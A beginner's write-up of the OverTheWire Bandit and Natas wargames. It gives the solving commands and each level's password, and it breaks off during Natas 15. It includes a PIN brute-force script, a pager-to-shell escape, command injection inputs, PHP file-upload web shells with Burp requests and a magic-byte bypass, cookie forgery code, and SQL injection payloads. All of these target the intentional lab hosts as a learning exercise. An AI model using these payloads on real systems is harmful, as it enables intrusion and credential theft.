Foreword

A collection of my write-ups in the journey of taking on the wargame site OverTheWire.

I am fairly new to the world of Cyber Security, and I hope to learn a lot from doing the war games on the site.

There are a lot of resources online that are way more detailed than what I documented here, but if you stumbled on my writeups, then I hope that you learn something from them!

This is migrated from my old OverTheWire writeup repository.

The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames. The Natas wargame teaches the basics of serverside web-security.

Bandit

Bandit 0

A few problem with connecting to a legacy ssh server, but can be rectify by using

ssh -p 2220 bandit0@bandit.labs.overthewire.org -oHostKeyAlgorithms=+ecdsa-sha2-nistp256

After getting on the server, we can just simply do cat readme

bandit1: NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL

Bandit 1

Trickier, as there is a problem with opening a file with a “-” This type of approach has a lot of misunderstanding because using - as an argument refers to STDIN/STDOUT i.e dev/stdin or dev/stdout .So if you want to open this type of file you have to specify the full location of the file such as ./- .For eg. , if you want to see what is in that file use cat ./-

bandit2: rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi

Bandit 2

Escaping the space by using \, or can simply do by typing cat spa then let the terminal autocomplete by using Tab.

bandit3: aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG

Bandit 3

God command ls -slah. Trivial from knowing this.

bandit4: 2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe

Bandit 4

After getting into the inhere folder, we can simply do file ./* to get the information of all the files. The correct file should display “ASCII Text” in the result.

bandit5: lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR

Bandit 5

Simply doing find . -size 1033c is sufficient. A better solution (on Stackoverflow) is find . -type f -size 1033c ! -executable -exec file {} + | grep ASCII

bandit6: P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU

Bandit 6

Same idea as Bandit 6. Doing find / -user bandit7 -group bandit6 -size 33c 2>/dev/null is sufficient, as we have to look for files in the whole server. Redirecting all the error output to /dev/null so that the output of the find looks a bit cleaner.

bandit7: z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

Bandit 7

Doing grep data.txt "millionth" is sufficient. grep displays the context of the string found.

bandit8: TESKZC0XvTetK0S9xNwm25STk5iWrBvP

Bandit 8

The entries in the file has to be sorted. cat file | sort | uniq -u does the job.

From the man page of uniq: Filter adjacent matching lines from INPUT (or standard input), writing to OUTPUT (or standard output).

bandit9: EN632PlfYiZbn3PhVK3XOGSlNInNE00t

Bandit 9

We have to find in the space of ASCII characters, hence we have to use strings. Using grep to filter out the guys actually have some = preceding some strings.

Command is trings data.txt | grep -E "={1,}"

"={1,}" means that we match any strings that has = repeated 1 or more times.

bandit10: G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s

Bandit 10

Classic decoding using base64 -d.

bandit11: 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

Bandit 11

Decoding ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'

Yanked from StackOverflow:

Each character in the first set will be replaced with the corresponding character in the second set. E.g. A replaced with N, B replaced with O, etc.. And then the same for the lower case letters. All other characters will be passed through unchanged.

bandit12: JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv

Bandit 12

File is from hexdump, you can get the original binary file by doing xxd -r > OUTPUT_FILE

Then do a chain of inspecting file by running file, change the extension using mv, then decompress the file according to the result from file

bandit13: wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw

Bandit 13

Private key is available on the home folder. sshkey.private is the private key to log in as the user bandit14 on the local ssh instance.

Command to connect: ssh bandit14@localhost -i sshkey.private -p 2220

bandit14: fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq

Bandit 14

A nc instance to connect to localhost at host 30000. Nothing is displayed, but from the instructions we have to key in the password for Bandit 14. After that, the password for Bandit 15 pops up.

bandit15: jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt

Bandit 15

Nothing special, run openssl s_client -connect localhost:30001 -ign_eof, key in the password from Bandit 14 and we should get the password.

bandit16: JQttfApK4SeyHwDlI9SXGR50qclOAil1

Bandit 16

For some reason, this level is a bit buggy. You will encounter some error of “shell request failing on channel 0” or if you managed to get in using ssh, it would display the error of “-bash: fork: retry: Resource temporarily unavailable”. For me, to resolve this, I just log in multiple times. ssh should be somewhat usable after a few tries. This might be due to people, after solving the level, did not manage to find a way to proceed to the next levels without doing ssh on Bandit 16.

First, to find all the service/information behind the ports from 31000 and 32000, we can use nmap -sC localhost -p31000-32000. -sC will run the default script in nmap.

Then, after looking at the result, we will have two ports that speak SSL: 31518 and 31790.

Connecting to the two ports, using openssl s_client -connect localhost:PORT -ign_eof and type the password from Bandit 16, we will observe that the service at port 31518 will echo anything that we type in, but 31790 will produce something resembling a private key.

We then retrieve the password for Bandit 17 by doing cat /etc/bandit_pass/bandit17. This is a step that most will miss, as this is nowhere near obvious from all the hints given.

bandit17: VwOSWtCA7lRKkTfbr2IDh6awj9RNZM5e

Bandit 17

Running diff on the 2 password files should give the key to the next level.

bandit18: hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg

Bandit 18

.bashrc configuration logs us out when we log in using ssh. One solution is not to use the bash shell and use a different shell to avoid the .bashrc configuration.

ssh have a -t flag to execute arbitrary screen-based programs on a remote machine, hence we can execute any command. More concisely, -t forces a pseudo-tty allocation.

Hence, a solution might be:

ssh bandit18@bandit.labs.overthewire.org -p 2220 -oHostKeyAlgorithms=+ecdsa-sha2-nistp256 -t 'sh'

or in a more straightforward way:

ssh bandit18@bandit.labs.overthewire.org -p 2220 -oHostKeyAlgorithms=+ecdsa-sha2-nistp256 -t 'cat readme'

bandit19: awhqfNnAbc1naukrpqDYcF95h7HoMTrC

Bandit 19

Find SUID binary by doing find / -perm -u=s -type f 2>/dev/null

We can find a SUID binary in our home folder ./bandit20-do. Running it without any arguments shows instructions of

1
2
Run a command as another user.
  Example: ./bandit20-do id

The “another user” mentioned here is bandit20, due to how SUID works.

Running ./bandit20-do cat /etc/bandit_pass/bandit20 should give us password to the next level.

Optional: running ./bandit20-do bash -p to inherit the bandit20 user. From the man page, if the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

bandit20: VxCazJaVykI6W36BkBU0mJTCM8rR95XT

Bandit 20

The ./suconnect SUID binary connect to a TCP port that we specify. By using tmux, we can split the terminal in half (duh) and on one side execute nc -lvnp 4444 to listen to a TCP connection at port 4444. On the other window of tmux, we can do ./suconnect 4444 to connect to the nc instance.

Once a connection is established (the nc side should display something like “Connection received on 127.0.0.1 40140”), we can key in the password for Bandit 20 to get the password of Bandit 21.

bandit21: NvEJF7oVjkddltPSrdKEFOllh9V1IBcq

Bandit 21

Only the cronjob in the file cronjob_bandit22 has something interesting. Others are for system logging capabilities, or inaccessble.

We can observe a cronjob running regularly (at every minute) running a shell script at /usr/bin/cronjob_bandit22.sh. Running the script at that location shows an error of

1
2
chmod: changing permissions of '/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv': Operation not permitted
/usr/bin/cronjob_bandit22.sh: line 3: /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv: Permission denied

Inspecting the bash script at /usr/bin/cronjob_bandit22.sh

1
2
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Hence, this get the password from bandit22 and put it into the file at /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv. The file has permission of 644, hence it is world readable.

bandit22: WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff

Bandit 22

Again, only /etc/cron.d/cronjob_bandit23 can be read. Inspecting the content of the cronjob:

1
2
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

The user bandit23 will execute the shell script at /usr/bin/cronjob_bandit23.sh after reboot and every minute. Inspecting the content of /usr/bin/cronjob_bandit23.sh:

1
2
3
4
5
6
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

What the script is doing is first put the username into the variable myname, then use myname to obtain mytarget. The content of the password is stored at /tmp/$mytarget. We know that myname is bandit23 (since bandit23 is executing the cronjob), hence we can generate the target of the script mytarget by simply doing echo I am user bandit23 | md5sum | cut -d ' ' -f 1.

This gives the result of mytarget, and the file we are looking for is at /tmp/8ca319486bfbbc3663ea0fbe81326349

bandit23: QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

Bandit 23

Same procedure as Bandit 21 and 22, we try to get the content of the script in the cronjob. What the script in the cronjob does is obvious, it tries to execute all the scripts in the /var/spool/bandit24/foo folder. We will create a temporary folder to store the result of the script by doing mkdir /tmp/kdkdkd

vim test.sh to make the script. The script will look like this:

1
2
#!/bin/bash
cat /etc/bandit_passs/bandit_24 > /tmp/kdkdkd/pass

This should be relatively straightforward. However, for some reason the script does not run if the pass file does not exist. This may be due to some permission error (as may be the user bandit24 is not able to make a new file in the folder /tmp/kdkdkd of bandit23). Hence we need to do touch /tmp/kdkdkd/pass followed by chmod 666 /tmp/kdkdkd/pass to allow everyone to write to the pass file.

After a minute, doing cat pass will provide the password for the next level.

bandit24: VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

Bandit 24

Some interesting things to remember:

seq -f "%0${PADDING}g" $MIN $MAX gives a sequence of 4-digit strings with the given padding (4) from MIN to MAX

If we want to send messages in batch in bash script, with every message on a new line. Redirecting this into nc will provide us effectively the result of executing each message one by one.

awk '!/{STRING_IN_HERE}/' print out every line that does not have STRING_IN_HERE. We can sort out the result after running nc, as most likely the line that contains the password for the next level does not contain the message when we key in the wrong password. “Wrong!” is one such string in the wrong password message.

String concatenation of variable a and b is $a$b

To run the script, do mkdir /tmp/qvinh, then cd /tmp/qvinh (any name for the folder in /tmp works). Open vim or any text editor then copy the code underneath. Remember to chmod +x the shell script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#!/bin/bash

PASS="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar "

MIN=0
MAX=9999
PADDING=4

touch test.txt
for i in $(seq -f "%0${PADDING}g" $MIN $MAX); do
GUESS="$PASS$i"
echo $GUESS >> test.txt
done

nc localhost 30002 < test.txt | awk '!/Wrong!/'
rm test.txt

bandit25: p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

Bandit 25

ssh to bandit26 (using the private key in bandit25 home folder) only kicks us out after showing the banner, and from the hints there is some interesting shell used.

We can view the default shell of a user by viewing the /etc/passwd file. Indeed, we can get the shell that the user bandit26 by doing cat /etc/passwd | grep bandit26. The “shell” of the bandit26 user is located at /usr/bin/showtext. Getting the content of the script

1
2
3
4
5
6
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

The script is opening the file text.txt with more. After doing so, the shell immediately exited. The text in text.txt is very short, meaning the whole text can immediately be displayed. more does not need to go into command/interactive mode. If we make the terminal window smaller, more will go into command mode. We can then press v to go into vim. Now we can rescale the window. This is quite a insane trick to know.

After getting into vim (from the $EDITOR variable of bandit26), we can get the content of the password by doing :e /etc/bandit_pass/bandit26 or can pop a shell by doing :set shell= /bin/bash, and then use :shell.

bandit26: c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

Bandit 26

Same trick as Bandit 25. Resize the terminal so that more has to enter interactive mode, then set the shell to /bin/bash, open the shell by doing :shell.

Upon getting a shell, we do ls -slah and see the SUID binary bandit27-do. Doing ./bandit27-do cat /etc/bandit_pass/bandit27 should give us the password for the next level.

bandit27: YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS

Bandit 27

Make a folder in /tmp, then cd to that folder. We know the location of the git repo to clone, but we need to change the address a little bit as the ssh:// will default to port 22, not the intended port 2220.

Command will be git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo

Also, shorthand for create a directory in /tmp is mktemp -d.

bandit28: AVanL161y9rsbcJIsFHuw35rjaOM19nR

Bandit 28

Same trick as Bandit 27 again, we first clone the repo by doing git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo.

Viewing the content of the file inside the folder repo, we can see that the README.md file got the password removed. There are no other files in the folder, hence we can view the commit history by doing git log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
commit 43032edb2fb868dea2ceda9cb3882b2c336c09ec (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date:   Thu Sep 1 06:30:25 2022 +0000

    fix info leak

commit bdf3099fb1fb05faa29e80ea79d9db1e29d6c9b9
Author: Morla Porla <morla@overthewire.org>
Date:   Thu Sep 1 06:30:25 2022 +0000

    add missing data

commit 43d032b360b700e881e490fbbd2eee9eccd7919e
Author: Ben Dover <noone@overthewire.org>
Date:   Thu Sep 1 06:30:24 2022 +0000

    initial commit of README.md

Seems like the second commit (in chronological order) is adding some data that is removed in the third and final commit that we have. This infers that the password might be at the second commit, and hence to retrieve the password we can revert the git repo back to the state after the second commit by doing git reset --hard bdf3099fb1fb05faa29e80ea79d9db1e29d6c9b9

Another, less intrusive solution is doing git show bdf3099fb1fb05faa29e80ea79d9db1e29d6c9b9

bandit29: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S

Bandit 29

git refresher: git branch -a to list all branches and git checkout <branch> to move to a new branch.

There is nothing interesting in the commit history, as no changes related to the password of Bandit 30 is in either the two logs after running git log. From the hint, the password is not in production, so it must be in one of the branches of this repo.

Indeed, after listing all the branches, we can see that there is a dev branch of this repo. Checking out to that branch, and do cat README.md should give us the password.

bandit30: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS

Bandit 30

The password is not in the git log, nor the git branch -a (as only one branch exists). We can find it in the tags of the repo by doing git tags. There is a tag named secret. Tag data can be viewed by doing git show secret

Found this out by doing git --help and try every ways that the password can be hidden.

bandit31: OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt

Bandit 31

The current branch of the repo is master (by using git branch we can verify this). Hence, our task is just to create a file key.txt with the content specified in the README.md. However, when we try to commit the new file, it shows that the working tree is clean (?)

1
2
3
4
5
6
7
8
9
bandit31@bandit:/tmp/tmp.uV8SPS9VHn/repo$ git branch
* master
bandit31@bandit:/tmp/tmp.uV8SPS9VHn/repo$ echo "May I come in?" > key.txt
bandit31@bandit:/tmp/tmp.uV8SPS9VHn/repo$ git stage .
bandit31@bandit:/tmp/tmp.uV8SPS9VHn/repo$ git commit -m "Test"
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

There must be something interesting in here. Doing ls -slah shows a hidden .gitignore file. From the content of the gitignore, Git will ignore all the files with the extension of .txt. To be able to commit addition of the files with .txt, we need to remove the first line of .gitignore (*.txt).

Then do git add ., git commit -m "Test", git push origin we will be able to retrieve the password.

bandit32: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y

Bandit 32

Neat trick. $0 expands to the name of the shell or shell script. This is set at shell initialization. This means that whatever is called to obtain the shell is stored in $0. This is useful as any command with ASCII characters are all converted in uppercase, and thus will become invalid. Typing $0 to the uppershell should execute sh.

bandit33: odHo63fHiFqcWWJG9rLiLDtPm45KzUKy

Bandit 33

Nothing here yet. But we can verify the answer in Bandit 32 by logging in. Getting the content of the last README.md

This is quite a certificate of participating in this wargame. I learn a lot of the concepts and some cool neat tricks. Worth my 2 days of ditching assignments to attempt these!

Natas

Natas 0

Simple Inspect Element of the page will reveal the password in the comment of the HTML.

natas1: g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

Natas 1

Instead of right-clicking, one can invoke Inspect Element by using the keyboard combination Ctrl + Shift + I. Password again will be in the comment of the HTML.

natas2: h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7

Natas 2

Viewing the page source, there is indeed nothing on the page itself. However, there is a image with the path of files/pixel.png displayed on the page.

We inspect files directory by going to http://natas2.natas.labs.overthewire.org/files/. In here we can see two files, pixel.png from the page and a new file user.txt. Opening user.txt should give us the password for the user natas3 for the next level.

natas3: G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

Natas 3

Viewing the source of the web page, again, there is indeed nothing. But there is a very interesting comment: No more information leaks!! Not even Google will find it this time.... This implies that Google crawler will not touch whatever the so-called “information leaks”.

We can think of robots.txt in this case. A robots.txt file tells search engine crawlers which URLs the crawler can access on your site. To disallow crawlers/bots accessing some sensitive data on your site, one can put there the disallowed lists of URLs on the page.

Accessing robots.txt, we found out that there is a interesting disallowed URL: /s3cr3t. Going to this URL, we can see that, again, there is a user.txt file there. Inside the user.txt is the password for the next stage.

natas4: tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

Natas 4

Solving this requires Burp Suite to modify the HTTP header in the request to the server.

Upon going to the webpage, we are greeted with the message of

1
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"`

The page has a Refresh page link to click on. Clicking on that, the page rendered will have a different message:

1
Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/."

We are now at the /index.php page.

Clicking the button once more will display a different message

1
Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Hence, there is something that has to do with the request that is invoked when we clicked on the Refresh page link. After refresh the page (not by using the link but the original link to natas4), we can see that every time we click on the Refresh page, the Referer field in the HTTP header changes, and what is in the Referer will be displayed on the web page.

From the Mozilla docs, “The Referer HTTP request header contains an absolute or partial address of the page that makes the request. The Referer header allows a server to identify a page where people are visiting it from. This data can be used for analytics, logging, optimized caching, and more”.

Therefore, to access the password, we need to change the Referer field to http://natas5.natas.labs.overthewire.org/. After doing it using the Intercept functionality in Burp Suite and forward the modified HTTP request, we can obtain the password.

natas5: Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

Natas 5

We are not logged in. One way for web page to authenticate users (as HTTP is stateless) is by using cookies. Opening the Devtools from Chrome and navigate to the Network tab, then we refresh the page, we can observe that there is a cookie with the content of loggedin=0 in the HTTP header.

Hence, to authenticate, we have to change the value of the cookie from 0 to 1. We can easily do this by using the Application tab, navigate to a dropdown named Cookies, then double click on the value 0, change it to 1. Refresh the web page and we should obtain the password.

natas6: fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

Natas 6

From the code, we can observe that the secret is loaded from the resource located at includes/secret.inc. Going to that resource will give us the secret. Key in the secret and we should get the password to the next stage

natas7: jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

Natas 7

Clicking on the Home and About, we can see that the HTTP parameter page changes to whatever the value is there. Hence we can take advantage of this to read any file on the system. We have the hint (when we view the source of the web page) that the password is at /etc/natas_webpass/natas8.

Key in that value into the page parameter, we should be able to retrieve the password. The URL to access the password will be http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

natas8: a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

Natas 8

Looking at the code, we have the encoded secret and how the secret is encoded. To get the secret, we unroll the encoding process. The string will first be converted to the bin format, then reverse, then decode from Base64. Cyberchef can easily help us here, with 3 layers being From Hex, Reverse and From Base64. The secret derived from the decoding is oubWYf2kBq.

Inputting the secret to the form should give us the password to the next level.

natas9: Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

Natas 9

Our target is in the file at /etc/natas_webpass/natas10.

From the source code, the content in the form that we submitted is put into the command in the passthru call.

The command that is executed on the server is grep -i $key dictionary.txt, where $key is the input that we submitted. We have total control on the content of the command pass to the passthru call. Hence, what we can do is to grep everything in the /etc/natas_webpass/natas10 file, and disregard everything in the dictionary.txt file.

Inputting . to the dictionary.txt file, basically we are matching everything, we can see that there is nothing related to the password for the next level that is stored in here. Indeed, searching for any strings of length from 15 to 20 using -x '.\{20,32\}' does not yield anything really interesting.

Hence, we can “escape” the call of grep on dictionary by doing . /etc/natas_webpass/natas10; grep "!" . This executes two commands, as the ; is specified. First, it tries to do grep -i . /etc/natas_webpass/natas10 - basically matching anything in the file. Then it tries to grep strings that contain ! in it, and there are no such strings. The latter command is there to prevent the content of dictionary.txt clogging up the result. Inputting the payload, we should retrieve the password for the next level.

natas10: D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

Natas 10

Same idea, but this time we cannot use the ; trick to make the result less clogged. grep does work on two files, and the filtering does not block the / character, hence we can just put . /etc/natas_webpass/natas11 . The grep command ran will match any character in both /etc/natas_webpass/natas11 and dictionary.txt.

The first entry of the result of this command should yield the password to the next level. Indeed, that is /etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg.

natas11: 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

Natas 11

Viewing the source code, we can deduct a few things:

  • The defaultData is being encrypted with xor with a hard-coded key in the xor_encrypt function. The result of the encryption (as performed by the saveData function) will be stored in the cookie of the page.
  • After the first load, cookies from the user will be checked in the loadData function. If the data can be decoded and decrypted, it will be stored into the local data variable. The data will be of the same structure as that of defaultdata.
  • If the showpassword field of the data array gives "yes", then the password will be displayed to the current level’s page.

The code for the operations mentioned below is the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    $modifieddata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
    $originalcookie = "MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=";

    function xor_encrypt($in, $key) {
        $text = $in;
        $outText = '';
    
        // Iterate through each character
        for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
        }
    
        return $outText;
    }

    function getKey($plain, $cipher) {
        $ciphertext = base64_decode($cipher);
        $plaintext = json_encode($plain);
        $key = xor_encrypt($ciphertext, $plaintext);
        return $key;
    }

    $key = getKey($defaultdata, $originalcookie);
    
    function generateValidPayload($d, $key) {
        $payload = base64_encode(xor_encrypt(json_encode($d), $key));
        return $payload;
    }
    var_dump($key);

    $new = generateValidPayload($modifieddata, "KNHL");
    
    echo $new;
?>

What we need to do is to craft a valid cookie value, such that when it is decoded and decrypted on the server side, it will generate an entry of array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"). Note that bgcolor does not matter in the checking.

To figure out the key of the xor encryption, we can do the xor operation on the plaintext (the JSON encoded string of the defaultdata) and the ciphertext (the value of "data" in the cookie). This is because of the way xor, or one-time pad works:

1
2
3
ciphertext = plaintext xor key
ciphertext xor plaintext = plaintext xor key xor plaintext
ciphertext xor plaintext = key

The key, after doing these operations, is KNHL. The key is repeated due to the way that the xor operation in the xor_encrypt, each 4 characters in the plaintext will be xor-ed with the key. Hence, in the result of the above code, you can see that the KNHL string is repeated multiple times.

With the key, we can easily generate the correct payload to retrieve the password. The target plaintext is the array array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"). We follow the way that the original PHP code encode and encrypt the array to generate the payload. Changing the cookie value to the payload, then after submitted the form we can retrieve the flag.

Payload is MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz

natas12: YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

Natas 12

There is no checking in the source code that the uploaded file must be a JPEG file, hence we can upload any file that we want to the server. Since the backend is running on PHP, we might as well upload a PHP file to get the content of the file in /etc/natas_webpass/natas13. The file we will upload is the following:

1
2
3
<?php
    passthru("cat /etc/natas_webpass/natas13")
?>

However, after uploading the file, the file name got changed to <some_random_string>.jpg, which disallows the PHP code from executing. Inspecting further, we can observe that there is a hidden filename (which determines the file name uploaded to the server), and it is already determined before any file is chosen. This filename is the path of the uploaded file on the web server.

Hence, if we can change the filename extension back to .php, we can make the PHP code valid and retrieve the flag. Opening the browser from Burp Suite, and then choose the PHP payload file and turn the Burp Suite intercept on, we can see the form data uploaded will be something like

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
------WebKitFormBoundaryEex9eRjYhKzAHvH7
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------WebKitFormBoundaryEex9eRjYhKzAHvH7
Content-Disposition: form-data; name="filename"

j6s2vxhm9i.jpg
------WebKitFormBoundaryEex9eRjYhKzAHvH7
Content-Disposition: form-data; name="uploadedfile"; filename="natas12.php"
Content-Type: application/octet-stream

<?php
    passthru("cat /etc/natas_webpass/natas13")
?>
------WebKitFormBoundaryEex9eRjYhKzAHvH7--

We change the .jpg filename to natas12.php, or any filename with the .php extension. Sent the changed POST request to the server, the path to the uploaded .php file should appear on the web page. Clicking on the link will lead to the result of executing .php file, which is the password of the next level.

natas13: lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

Natas 13

Same idea, but this time there is an additional check in exif_imagetype, which only reads the first bytes of a file to check its signature (or in other words, check the Magic Number of the file). We hence have to put the magic number of image files to the header of the PHP file. PHP file does not really complain if there is some text before the php code portion.

We can pick GIF, it is a valid type for a image. GIF has the magic number, in ASCII of GIF89a. Put this before the php portion of the code and we should be able to bypass the check.

In particular, the file content will be like:

1
2
3
4
GIF89a
<?php
    passthru("cat /etc/natas_webpass/natas14")
?>

Again, turn on the Burp Suite browser and the Proxy Intercept function. Change the filename of the POST request form to anything ends with .php. An example, in the payload portion of the POST request, can be:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
------WebKitFormBoundarya8snrslosPiK9vI2
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------WebKitFormBoundarya8snrslosPiK9vI2
Content-Disposition: form-data; name="filename"

9q708avz39.php
------WebKitFormBoundarya8snrslosPiK9vI2
Content-Disposition: form-data; name="uploadedfile"; filename="natas13.php"
Content-Type: application/octet-stream

GIF89a
<?php
    passthru("cat /etc/natas_webpass/natas13")
?>
------WebKitFormBoundarya8snrslosPiK9vI2--

Following the link to the uploaded resource, we can see the GIF magic number that we prepend to the PHP code and the result of the command in passthru()

natas14: qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

Natas 14

To get the password for the next level, the result of the query

1
SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"

must return the result consisting of one or more lines (the check is at mysqli_num_rows). We obviously have no clue what is in the database, indeed any attempt in trying the username of natas14 or natas15 does not work.

This code is vulnerable to SQL injection, as we can directly manipulate the query to whatever we want. Also there is a debug function to help us out, by putting the URL parameter of debug in the POST request to the server. Submitting the form will do a POST request to the endpoint at /index.php. Hence, to enable the debug mode to see our command (which is very useful), we can use the intercept functionality, along with the in-app browser of Burp Suite to manipulate the URL parameter in the POST request to the backend.

We have no idea of the password in the database, hence we need a way to escape the query. Doing " at the beginning closes the first quotation mark in the username field. Of course no username matches "" (empty string), hence we need a condition that is always True. Looking up on Google, we can see one common way is to put or true in the payload to make the result of the query always True. To escape all the conditions at the end of the query, again from simple Googling, we can use the comment in mysql: --. In MySQL, the -- (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on).

From all of the information above, our username field will be " or true;-- (notice the space after the double-dash). The password field can be anything, due to the double dash -- everything in the password comparison will be ignored anyways. I put abcd as the password. The query will become:

1
SELECT * from users where username="" or true;-- " and password="abcd"

Sending this using the in-app browser from Burp Suite, and change the POST endpoint to /index.php. The request will be something like

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /index.php?debug HTTP/1.1
Host: natas14.natas.labs.overthewire.org
Content-Length: 42
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNDpxUGF6U0pCbXJtVTdVUUp2MTdNSGsxUEdDNER4Wk1FUA==
Upgrade-Insecure-Requests: 1
Origin: http://natas14.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas14.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=%22+or+true%3B--+++&password=abcd

We should get the password after forwarding this POST request, and also see the SQL command being executed.

natas15: TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

Natas 15

Tough challenge, but simple concept. This is an example (sort) of Blind SQL injection.

For a query, the PHP backend returns "This user exists." if the result of the query has more than 0 rows, otherwise it returns "This user doesn't exist.. There is no additional information to retrieve the password, and the only interaction we are allowed is on the SQL database, therefore we can assume that the password for the next level exists in the SQL database.

Putting natas16 as the first username, we are informed that the user natas16 indeed exists. We now need a way to make the query result “leak” something about the password. We have free rein on controlling the input, or the query itself, hence we can make more specific queries involving the password.

Since we do not know the password, we can start guessing letter by letter. We can employ the % symbol in MySQL. For instance, abcd% will match any strings start with abcd. Using this, the username field we submitted will look something like natas16" and password like binary abcd%. binary in MySQL means that the strings matched will be case-sensitive (this is needed as the password is a mix of lowercase and uppercase characters). The query in the PHP backend will look something like

1
SELECT * from users where username="natas16" and password like binary "abcd%";

Initially, we know nothing about the password, hence we start from <guess_char>%. guess_char is the character we are guessing in the first position, the guess space is all the alphanumeric characters. The correct guess will return the response of "This user exists.". Let’s say the character in the first position of the password is T, the next guess of the password is going to be T<guess_char>%. We will repeat this procedure until the length of the string preceding the % sign is equal to 32 (the size of all the password in all of the levels).

